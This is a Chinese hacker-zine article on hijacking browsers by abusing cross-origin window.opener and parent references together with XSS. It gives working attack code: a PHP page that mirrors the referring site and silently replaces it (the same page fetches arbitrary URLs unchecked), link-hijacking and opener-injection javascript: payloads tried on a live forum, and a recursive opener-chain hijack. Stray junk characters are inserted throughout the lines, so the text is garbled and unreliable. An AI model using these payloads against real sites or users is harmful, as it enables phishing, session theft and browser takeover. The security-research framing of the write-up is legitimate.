==Ph4nt0m Security Team==
# k7 c4 Q" O* B" b$ }; l4 F8 T
7 A: n, Y9 v/ r0 l! F6 n Issue 0x03, Phile #0x05 of 0x07
& M- p* Y3 B5 j" e0 Y ; i# ?# a2 i# A8 G5 q6 {& _2 {
7 K9 F% Z- X4 c8 j* O
|=---------------------------------------------------------------------------=|
; L) k' C/ }7 u% _|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|$ \, k3 R& s! {0 Y
|=---------------------------------------------------------------------------=|' x* D, L6 F/ g. O& E
|=---------------------------------------------------------------------------=|
2 e y/ X7 j- y0 C- k% }|=------------------------=[ By rayh4c ]=---------------------------=|2 A' A$ _6 D' _9 A+ ~ N
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|6 P( d& o' g& v; E
|=---------------------------------------------------------------------------=| N+ J5 K! P2 w, \+ w
# D" U8 S* B( K2 D" O$ I7 _9 i0 c/ Y
[目录]3 X" f" q. i3 P7 ~2 x
1 H) k& C" Y! A' k5 D
1. 前言, P$ d- k0 `) A
2. 同源策略简叙) t) j4 z' S" q4 z/ k
3. 理解window对象的同源策略
4 k) L$ r- V6 ^% H$ O: P% P! u4. 窗口引用功能中的同源策略漏洞
2 f9 T! H0 q5 E1 { 4.1 父窗口引用子窗口的同源策略问题
?* ~ U. p% a) E0 W* X! c 4.2 子窗口引用父窗口的同源策略问题
0 K" j1 \7 G2 `5 l5 I5. 利用窗口引用漏洞劫持浏览器. Z5 ?+ r& A$ r+ ? j' r/ x4 W4 i
6. 利用XSS漏洞劫持浏览器
l% o8 u, ~; t 6.1 正向跨窗口劫持
* Y. G. L$ S! T4 T& j( b M9 T& p 6.2 反向跨窗口劫持
5 A0 |( E* O6 C" o! l# e3 g( w 6.3 极度危险的跨框架窗口引用劫持" U8 K# O- ^9 k' S* y+ V
6.4 极度危险的正反向跨窗口递归劫持6 ^$ g3 f0 K9 z- W' h
6.5 完全控制浏览器
, U: `/ ~3 U& A6 V7 m$ R7. 后记
! l6 @5 ^5 `- a/ x7 l8. 参考0 [, H% g0 T. [# z! I4 b& a$ j
m( l9 a2 o% s# v
1 [; I- a1 D0 h2 X$ q& i一、前言7 d3 j: o" s; a1 o, F) Q9 X* F! i
& R5 q; F2 [5 c; X* ?% c$ A: i 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
, ~. y( j+ I; V. w友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ ]3 Z' t a( P7 d: S劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
; T7 b& W- g* S条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。% N' c, L" ^/ w/ H9 o' m$ t: ^- I
5 o6 Q- c9 u9 y4 _9 U( a t
" q7 f$ X5 M# }% e o二、同源策略简叙4 U6 ]- w9 Y9 m. m, T6 J7 P
" F- m$ O C& g2 J: a5 C) _
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
: k. Y8 S e1 s. X, W8 R- {从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都3 c/ c4 Y; j' M; r8 f
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木6 W+ {0 u2 c! N4 K; n
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; s+ f m& t) d9 x3 P) x漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
) e& U! O0 x$ g, P5 l% j9 m4 W' {9 m# ~4 d/ D% S5 ]
" M( t/ d2 _! f3 ~& H三、理解window对象的同源策略
( X- h- A4 N6 I/ K% h9 @2 ?7 U8 h
" t3 z" \& k% O* r& a, A 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
7 |# K/ n4 k# I7 B) @: {# Q$ y象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:( F8 t* b: h. m" [- R. f1 @: i
- M: y* J- t- M5 V0 H
--code-------------------------------------------------------------------------2 S. F& ]- [: P# T
<script language="javascript">; ~- K3 A. M) Y/ S% d: i& R
for(p in window) document.write(p+"<br>");9 C/ n5 {3 Q }1 u7 n* `
</script>
2 {1 Q0 {* M4 p) T+ O4 t-------------------------------------------------------------------------------1 ?1 L' I- \: K, _! Z/ b& |" \
3 e0 c2 j( r( z) y9 y4 w" z& f/ U8 e
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方: i! m t+ d& Q. G3 V
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候," b, S3 t8 b/ a& S3 q5 N
这些属性和方法就必须遵循同源策略。
1 ^3 I# ]0 D& d8 i6 \. d6 h s2 Q' E" Q
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那4 C6 p% l l( _$ g* f
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
* x! a$ O+ K/ }0 Q8 N, S6 _; N( C5 x* C的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
3 e: c* z* V: a+ W" m; j4 Z个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的* Q) g" H- O1 p: n5 c/ f
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
3 L+ P( Y( t) t/ g! j属性并没有被拒绝访问。
9 J8 ~2 Y9 w8 P6 L% N2 P
. M7 P6 w4 \& _) M G--demo.html--------------------------------------------------------------------8 k: `8 d/ c! s! a" f& [5 K T( |- D. k
<script language="javascript">
7 v M% m0 g6 W3 T; q" Z2 rfunction allPrpos(obj) {
/ ?4 I+ S* c3 N: E0 V var props = "<table><tr><td>名称</td><td>值</td>";
; z9 G! w O0 M/ o for(var p in obj){ & [6 g3 V7 L, v+ ]$ r* B) R
if(typeof(obj[p])=="function"){ 2 P5 a6 B \# X/ Y% p+ F
obj[p]();
# s3 K7 O! \1 D }else{ * k. x8 U4 Z4 S( V
try 2 I% h5 C/ a, X8 ]. a( ]! s. T
{ 9 N1 z, S7 x: j! t! v/ t' S5 F
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
0 d; K' _+ e( R9 X: _: j) v6 ^ }
J; l* U* _5 q3 p2 Y9 R0 |8 z catch (ex)
; [( I$ |* _- ]8 F {
* }$ X# M! J# r/ {. }* u* l & s: n3 G1 p7 L3 t
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
( J- t9 P' Y) p+ b& L7 H }
3 |" i: Q3 _3 |" \; q! E) K, k+ i* U
- i' D7 T6 Y B3 ?; ]; N! v0 Z }
; P: d& S C: `1 ? }
7 m2 `0 ?. C2 C - K z+ W6 |0 \
document.write(props+"</table>");
3 ^2 X$ P; U. ^" z6 t7 m8 z} & H! R/ ~5 O" @3 p3 O" L/ g
0 p# }, G+ X0 b% z* r( dfunction createWin() {
& I+ }8 J$ r( R2 l newWin = window.open ("http://www.google.com"); 2 ?! Y# l3 Q& X
setTimeout(function(){allPrpos(newWin)},2000); 2 k3 B: W9 d0 M* o0 I% R
} # \" ~$ c( B) {# {, M. u
T- W u2 ?# X9 ]# W0 q1 x# a" I
</script> ; H0 [6 Q" S( G$ p+ v
0 D, |: O; C8 o7 `& Q2 j<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 _! q& L; d% C, N. A0 x
-------------------------------------------------------------------------------
, E( ]9 U; n" l, N' [8 ]+ F. n; P# J8 ^) x) ?2 A) b/ q
m0 o' c+ m9 u四、窗口引用功能中的同源策略漏洞5 a/ u9 y9 z/ }8 n4 o
0 \2 {" |2 ?6 U- x/ h& o7 L
4.1 父窗口引用子窗口的同源策略问题 v* `! |2 ?' F0 Q6 i% [
U( t: K% \+ O" D. w( n 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
, z. `' g' x/ `3 e# u$ @但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
& P: C4 Z8 ^! w3 \, ^浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
! T' S% O8 m! `) W行测试,会发现父窗口可以控制非同源子窗口location属性值。9 I! V6 ^4 s$ D' {, x! k6 ?. K( j
1 k7 z, o5 R5 G8 Y--vul1.html--------------------------------------------------------------------; a [( |+ f: U% F! Y; k0 V* ^
<script language="javascript"> 9 G0 Y6 O6 e) H, V5 g% O7 K
function createWin() { / ?( W$ S( v$ K6 W# r9 D! u7 O
newWin = window.open ("http://www.google.com");
s; ~1 @. w! m2 \3 C setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
( { G4 b3 I9 I3 H" q! L; y}
( G, g1 O% r6 h7 H9 z }</script>. r% F( @, _2 t$ ^7 x' Q$ z
' _: I& Z( i( J' U2 V; ?, M, a; C
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. w, s6 n3 x, Y1 J% _8 Y-------------------------------------------------------------------------------
7 U/ I0 B' M% k' n; J
, i/ s3 s% w* J" s9 h. D4 g8 X' \, M' l \; h* p5 _
4.2 子窗口引用父窗口的同源策略问题
3 z4 Z; z% l: Z d4 s' w4 p& h/ b' r
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使$ u0 ?6 O9 r! h0 z5 x
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
8 W0 v/ `* R5 o可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定6 o: y% |3 X, u, A- x
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( y# j: f5 @. r! I
. f: @+ e! h$ d% I$ I9 l--code-------------------------------------------------------------------------
& k4 u8 N4 X6 V D
1 O+ s7 d2 Y. u& i; N6 a2 |javascript:window.opener.location = "http://www.80sec.com";void(0);
9 }1 g9 ?/ x3 T; B1 k+ W! _8 i( w+ l- t0 J- m2 w$ M* P
-------------------------------------------------------------------------------
5 n2 x" @5 H; h. A& ^' R! l& ? h
; t2 l; k/ H) i( R4 S7 d( Y6 F/ `* F) M8 `
五、利用窗口引用漏洞劫持浏览器! N' E3 H' V G- k
& ?* W: @" {. }0 _1 Z4 i0 ^
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子, [! A1 ?% x$ I! w4 V
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
% T( P, Z# Z! j+ y0 `么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。5 u* [& [" m) @- a" |9 O
+ B. H9 s1 x e7 l3 R 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产4 T/ v" ?4 A4 A6 w
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或3 u2 X4 f; ]* G; p: O; N
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
1 a; _" g, {8 _4 }& O后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下5 b1 k$ {6 a) r. R+ }; `( r! i
会产生什么可怕的后果。8 L+ ~8 _. U& x$ V
% b N6 L: [7 z" j% C 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我/ t! r+ s! V9 W
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
5 K4 r# u6 P3 }, h \- v. {( B9 {) K4 E这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时% z y- g* X: ~% B- \
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
$ f$ d4 n* H# W6 q$ j以做更多的事情,所有的一切仅仅是因为点击了一个链接。7 A0 j5 a- O$ b" {# ^
* C% K; }' d" t9 f% v( q0 k- k- H--hjk_ref.php------------------------------------------------------------------
4 y6 d% [: `' Q* h3 d<?php
' x- H& y* q7 J* j+ o/ T" Nif (array_key_exists("HTTP_REFERER", $_SERVER)) {
7 Y5 T1 h. w- E! m1 I2 I9 ^/ t$Url_Mirror = $_SERVER["HTTP_REFERER"];
) \2 k+ F; X7 o' v} 9 D9 f0 M! L& _8 q
if(isset ($_GET['ref'])) {. ^( {$ d' V- n$ d8 ~9 l$ D
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
# p+ n1 |) G, d$ _}
. k8 ~ {6 l) p+ n8 @- v* b3 G* L?>8 o% Y8 q3 H4 @
4 }5 y a' e" g<script language="javascript">2 _* m4 N l# Q0 f" c; c
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 7 j) I4 w6 t- h, J
</script>( ]) p0 u% h! g- \8 G2 I: ]
-------------------------------------------------------------------------------
, [/ K/ S: y7 h+ h2 y
! r) O- f$ I: s! Q3 t3 E: ~- U k: F 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
6 i" X- z |" y: E; l: g/ S# j0 f" R; R2 v" }$ S3 P
6 m% {, ^2 K* O
六、利用XSS漏洞劫持浏览器1 J' ?4 b; B; w, }3 S# ]1 Y& k
6 L& f6 f' Q% E* N
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为; i# W4 v z% R, }8 j- {3 Y
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后0 P6 Z; ^: n* b1 I+ V
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起) D8 G* r5 I5 c; f5 P7 s% }
讨论跨站师的终极技巧:
[9 A. _& r+ Z- N
1 G. F+ X- Z+ f+ C
. c/ C* X% N, Q, ?! Y) ], |6.1 正向跨窗口劫持
) U" P. i9 U9 o, x$ f$ c1 O; |4 a7 g' u" i0 n
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛0 f5 N5 q! a, T i7 h( K
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链- i' ?5 N4 f4 f
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) ?" H4 I: H7 L/ [
框脚本。 & R1 M& E9 w# ^) i K7 u
2 _4 R5 r1 j5 e D7 O0 h--hijack_open.js---------------------------------------------------------------) L* s0 a) q' g
4 g6 r: A$ X, V: |javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
) e3 M4 @- U$ Y
' s/ b- ~ R u( e8 d-------------------------------------------------------------------------------( H+ h4 q7 P$ S: c v
4 M [3 s- ] j7 L& z3 z; v5 q( k0 m. j1 y, f7 j- |! u7 G
6.2 反向跨窗口劫持
7 J$ k5 p6 r: O8 F3 e ]# P' l6 q/ Y4 x- Z
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代+ J3 ~4 g; x/ ~7 k* B6 t3 n
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
) |2 J2 ~( { I' }框脚本。
6 e2 d* P9 {/ O6 T% I( {) J3 j
--hijack_opener.js-------------------------------------------------------------
0 v3 k u/ h' Y4 m; G" h g- T j) M# Y( B9 ]) n: m" A" z6 _: e5 @, z
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);& |6 ]9 Q3 _6 `9 B$ t
8 x4 O8 o; f9 K. B! g-------------------------------------------------------------------------------4 X. R! C' b. G# P* e6 C
6 q# }+ L/ _! i& t0 _0 i
" a6 {$ G0 Z: W, \6.3 极度危险的跨框架窗口引用劫持+ H% V9 v7 k! L( n7 U
% \% X; g# l' P F9 ~ 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞% ~9 Q" e% ~- `$ h! o. d( ?
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
. y, m" C0 z' S适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
! J5 X( Q& u! f! g- K/ H x) v) C- o非持久型的XSS,如下:) f# ^# U. C# K9 j
, {/ ~2 B" E% F: {0 Q, v8 F# r<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 _1 M) {* I" r0 }- K; }# a7 P& y
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
' l2 M' l9 _% [/ p" @+ T注入脚本。
2 f$ ~" \* m* W8 F/ m5 ~" ?) a1 n/ F0 o$ s- H4 z% q) N, H$ B. l
--hijack_frame_opener.js-------------------------------------------------------
3 o: i* R" m9 Y) v<script>
2 ?& ^( t: B" A) h# s" `8 Pwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";0 \; L M8 P, q( P7 p/ ^
</script>
i/ z) Q, H, B5 B# V. n-------------------------------------------------------------------------------
8 M- M. |5 u7 C
: q4 `2 h4 ^3 c( P0 o" @- p; t
7 ^& E% @' _. z6 f. u9 _1 C8 @6.4 极度危险的正反向跨窗口递归劫持: r' L4 d& }, v7 A$ H
) r7 e4 G* e* B9 C: t# P0 s! O) M luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window& u: R4 I% |9 n, H, ]
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( b+ X9 G6 T$ h6 i6 l Y; M
异常处理规避之间跨域页面的访问异常,代码如下:! g8 J- R+ M/ I& H9 A& i, x$ m
! L+ D' f1 ~3 D7 G" ?0 z1 p
--code-------------------------------------------------------------------------' S: m3 {+ E. }# n7 s5 J% B2 k7 `& c
% J: _: ^9 h$ m- {; zjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);8 d. p# P) U. M2 C
/ S7 j+ n9 \& ]& \; B
-------------------------------------------------------------------------------
4 h4 K1 i$ Y8 y5 y* l( L& R$ s- B. ~
T9 d7 [1 k: N7 ~: a4 c 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可0 _- C& U3 G% h8 x: ^, i8 F
以劫持B域之前的A域页面,从而实现“隔空打击”。, S5 y% a3 c7 d- l
6 F4 a) L$ y* h$ q; p 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面) z5 L- W% m5 S
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
. L+ [6 Z: U4 y7 L! m4 A
2 @. T+ u; Q7 t 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
0 g* T6 {7 A8 |: f* O: f7 M! D5 G
; z6 k1 }" V6 @8 V, x& T# w
6.5 完全控制浏览器
6 N' s5 H9 w1 A: ?2 G) c, W/ L/ x3 j% W6 _
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 l$ i% d/ y4 w$ l& a; d" _& r2 |是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
/ [8 `$ h! u7 B$ e& N9 d. X. h漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失3 R h! i% ~' ~- p4 c
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再# P- f9 q* P ~ I% t# ^" e
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
( Z8 _' ^- w+ | a" @3 E师的终极目标 - 完全控制浏览器。. Q! E/ N. e) ^2 n4 @
* g1 g# m1 _: ~& v. ~% _- {& r7 k" R& l2 r) S
七、后记
$ g1 U7 l) K, k0 D( N+ `% s5 b' s) P( F( f3 M: `! r G$ C
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
2 I" \5 `+ ~* _. k4 }0 H& S6 J与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
: O7 X/ m- G, I4 |2 q. K过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 F; m+ D! [& Y$ ?% E
8 a, Y6 u2 m5 I# Z1 ^1 m# H
7 O& P4 T% e" r( n% G. x八、参考
7 N4 F8 h y' u0 k! K" ~& E! C# ]9 R
1. http://en.wikipedia.org/wiki/Same_origin_policy' |0 x8 }4 H X" |" E3 u0 M7 G
2. http://code.google.com/p/browser ... licy_for_DOM_access
2 q$ |, z- O+ M3. http://www.w3.org/TR/Window// j$ r" k4 b% u. u1 _: m( j! `; ]3 O+ r
4. http://www.80sec.com/release/browser-hijacking.txt* H5 w8 L& K* w! j* C
5. http://www.80sec.com/all-browser-security-alert.html
4 D4 u9 f/ [5 k) h' G6. http://www.80sec.com/ms08-058-attacks-google.html/ Z& F9 }' p" i" Q
5 n% O$ n T9 c! c; `7 I, u" A$ R-EOF- |